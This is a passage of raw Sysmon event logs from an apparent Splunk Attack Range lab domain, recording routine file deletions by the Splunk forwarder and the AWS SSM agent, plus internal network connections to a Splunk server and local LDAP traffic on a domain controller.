Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DF7EEF943BBEF7178E3C1E4BB114FD85,SHA256=E7FDC2D9112925881FB736333509312DC33B154AD1AAB25D6B7496D0AAFB93A3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015196Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:42.520{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A09DECFE1B8E797E8EEF34F3212537E,SHA256=7320135FE103DD2135AFD84C73062771143588A7426510287DAC66B7546EE8A7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:43.974{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6C8A20E1D49A3FCC357813B331883E47,SHA256=A57EE0B37B3E6F2E2463D58C1B2B1700B05F836A85880C6A0155DF549B4E0157,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015197Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:43.567{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00113414356CF67DB6F9ADAA38F068DC,SHA256=4E05476604E8562E6240800ECC5018BD8237B19D61A536D5C2E93CC78EFDC697,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015199Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:44.583{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=27AA3C9DBD0D966B19770A7FD7393E50,SHA256=78A702A5A7602F2C254D849696116C0A70F4A07A6DC0A1F3C32FC3721F5B917D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015198Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:42.392{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50206-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015200Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:45.614{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7C857399BD980D672B3A2BEF2F260D3B,SHA256=21BB917AD72243C778181A48560E30646921CC178A2F7D03AF5C37FAB0A15305,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:45.130{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EB0C35C3D9300A81B4ACA4E98773672C,SHA256=8D1302ECFA15C58A84E7591DA3D3D7DE302D22004A94E9A3C4B83E87F1D7216F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015201Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:46.661{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA9A36766E75C2967EC49B7A36C64E16,SHA256=AEAF6557D312372B7106590A29755E6A415589C1C2E466726891959C4EB51642,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:46.146{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1A7118D0234842E7251C1438A72607E0,SHA256=6345218F561631AA8469803AA5B9995E322D55AF98E575A78C6935FADE4C0D02,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015202Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:47.708{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9504B485D3DBE7635CD6BB8DDE798E95,SHA256=672B41B9917BB97214A549145DF26B0592CC1DC7B108A5238F88FC97A537A2A6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:47.364{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1285917885B54987A67BE664696F5CDE,SHA256=D241848506ACFA5AC642AB4CB7D695BC5F3965801B051FAB3BFB9CD32A4DFFD5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:44.410{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59398-false10.0.1.12-8000- 23542300x800000000000000047542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:48.380{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5999A12303A75B0485A0C0BF44D0A50E,SHA256=8C030723C5DF091A746013251E98DA561E5597E5B67E92ECABAEFD35EFF4DFF3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015203Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:48.723{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3480CBFFBEA7F3EB61E4B57D72F859D8,SHA256=11E9F41C58230AC582DB414971EBF551145A7224F6467DB9ADE5418ADFF80090,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:49.599{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=90CE4EEAD52E8915DFDA8D43E7208304,SHA256=17A23E55E5DEC21AEC363519CE388215CF2B91F342650705AE7DA1DD0A64325F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015205Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:49.723{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=79E61AD173ACA45A80F7CA6A118C0180,SHA256=1D1509DEBE529E39AE35363B81420E7D3F98125C048303F3CA34569A0661585D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015204Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:48.376{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50207-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:50.736{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EA0192FBC4C6FBCCD351E7F10FF8D850,SHA256=81FD52C03A008BF4764175AAEF20CDF380B3668729F5336BA0EC6CE1659BF29B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015206Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:50.751{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=792C1429A912C8EE5BBC9AC7A697351B,SHA256=E5099686F0114B49D54ABA0D777F24224F849F30BB7CD7C84AA8CFB8BE007944,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:51.751{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=068E8599DBBCCA5C0B50F11BE2AA3DF5,SHA256=108A4C343B277141C30DC773CF880A8D5BC724309CB6EBAB6FF606B280AD7559,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015207Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:51.767{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=13AA6817BEA21401E0BEDE48D7FCB279,SHA256=4BEAECB4AD99CB7D6C33B146148081B7C90A9ADD3DB359F9CEB4E534A3135271,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015208Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:52.861{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=09E3FF9E23EB5A7BC898AC4B73C5B800,SHA256=04B35B6566F4B21B14A32C99F5D17F8CF8B976E87947D19782F77C3A56F6F71B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:52.767{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7CE0B1599D4C86F6A5993BAE1D8F8038,SHA256=48CF9C1BE5724F382244E808534139EC049B63792154A1985FB3114870EF2066,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:49.535{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59399-false10.0.1.12-8000- 23542300x800000000000000047548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:53.861{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=16E5F881CB0A39CFDDEE1DD3AB0A3FCA,SHA256=6939CD7080351F96F52223CD6442CC05E740AF8792AB4875F1DF848337739916,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015209Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:53.923{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C491432E531B6DFC093ACDD1275CEC0,SHA256=05A151E6387514A5D1F2772752188B257DA593482CA6E8BC39BEEEC9C1D3DE2E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:54.876{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AFB921137F259E92BEF47CC3BDEDDCF3,SHA256=AA2F5349E286CF04C260BB8A12D2F198B83B1870524A2F776C275E45DD127656,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015211Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:54.939{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C41D13922D11083F8A26F05ACB697828,SHA256=57C048B73D46B7B37897A9EFA5453C4F6C3559F9185280BC46DD76CAC02BCA9F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015210Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:54.845{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:55.923{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=99D0F34B0C425FFFC5B480E43D53EEE4,SHA256=443A4AE3C1594D445B16AE0D1DACDA9A701F24E4BBE580B1CBEBF4CC056CAB5D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015213Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:55.939{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=13F5ADD64EF82AAD19CE5ED2167BCC63,SHA256=6B6C363711D1C07986630EBEE5AB3D1DC62820AC1C46E94EB9B0D35F6812D67C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015212Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:54.357{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50208-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015215Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:56.954{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD333612FA87EF2EC31D96CC6C2BC675,SHA256=1977E249657314F93784EA4F93E7BEF5EC7809974A5804E5ECA6A8268A8FE835,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015214Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:55.154{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50209-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 354300x800000000000000047553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:55.485{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59400-false10.0.1.12-8000- 23542300x800000000000000047552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:57.194{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-046MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:57.096{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F559862AAF72B5B195D8070EABB55E18,SHA256=C52D0730AD279E27F0E437595F39F0ED103EFE43D0352110E5638A42572D478E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:58.199{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-047MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:58.151{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D530F2F181A0B4D6103BECDD6DD3846,SHA256=5BD305C90C5BFF51DDD703C5DD0836071E7394C9A1224DF74D92FCE7824C1E12,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015216Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:58.001{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E3AB16B0FBA93B624D4F8AC29701F5BE,SHA256=04EF25E2641EAC6BBCB286B0EE3B1E0672AC9AF6C4A2EEA5AF92729F1511EC10,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:57.571{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59401-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000047559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:57.570{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59401-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000047558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:59.450{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DA9C640C763B56C04D7BA33296747493,SHA256=35557639371DAA1972686DBF978C600F48C7CA8D06FF832892E1E28D2ACBB4B8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:59.450{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6161CBCE7F0312E5866DC740C16B39CB,SHA256=DA2736F7675CD02003C9CEE2C03A33D66524DA38617197D884B703623C9A2476,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:59.153{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=96D6974E84497D165D230E407BAF5825,SHA256=07476FE32469DD00984FF62BA207AF9F0E64859A946A455AFA6F326E8820A991,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015217Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:59.001{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F0BA453A08A762198B953D40FF73A060,SHA256=09573D94024B5FB8B91B5F2F0A23A3A72A9AC7BFC084DD817190ED787924A785,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:00.168{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=90370D07AD4BF6E2E138B7210FEC6DB7,SHA256=22CBA1971809ACA3B76D9AEEDCB94CA9A83D4688CE8AA7B81F036E64D619C274,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015219Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:59.514{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50210-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015218Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:00.095{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EE17E8223A0B380BD9F49E692A7CA7C,SHA256=BAD0A9CD6C85432804F017B2D12D015072D1112C0840B9FD9541A985030C2227,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:01.184{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C37B2B75AA506F8501F12FE47DF242A1,SHA256=ACDF0ED246370B6F6C7BC474978706355C4897014277AAC614547F6BB5398B95,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015220Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:01.142{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9A9A3EDB88019C2A690AFFE3FC63239E,SHA256=841671EEF8B3410260E5A7D81547A55119F2B76B02F494F63292C7AF21C0220E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:02.200{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=323200DE175F36FC8F46D5EF42562460,SHA256=DBBAB97A015B1D0CE2D1705B08F611F28970CD799E9BA99AD2ADDE345B1DBD85,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015223Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:02.366{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-037MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015222Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:02.254{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL 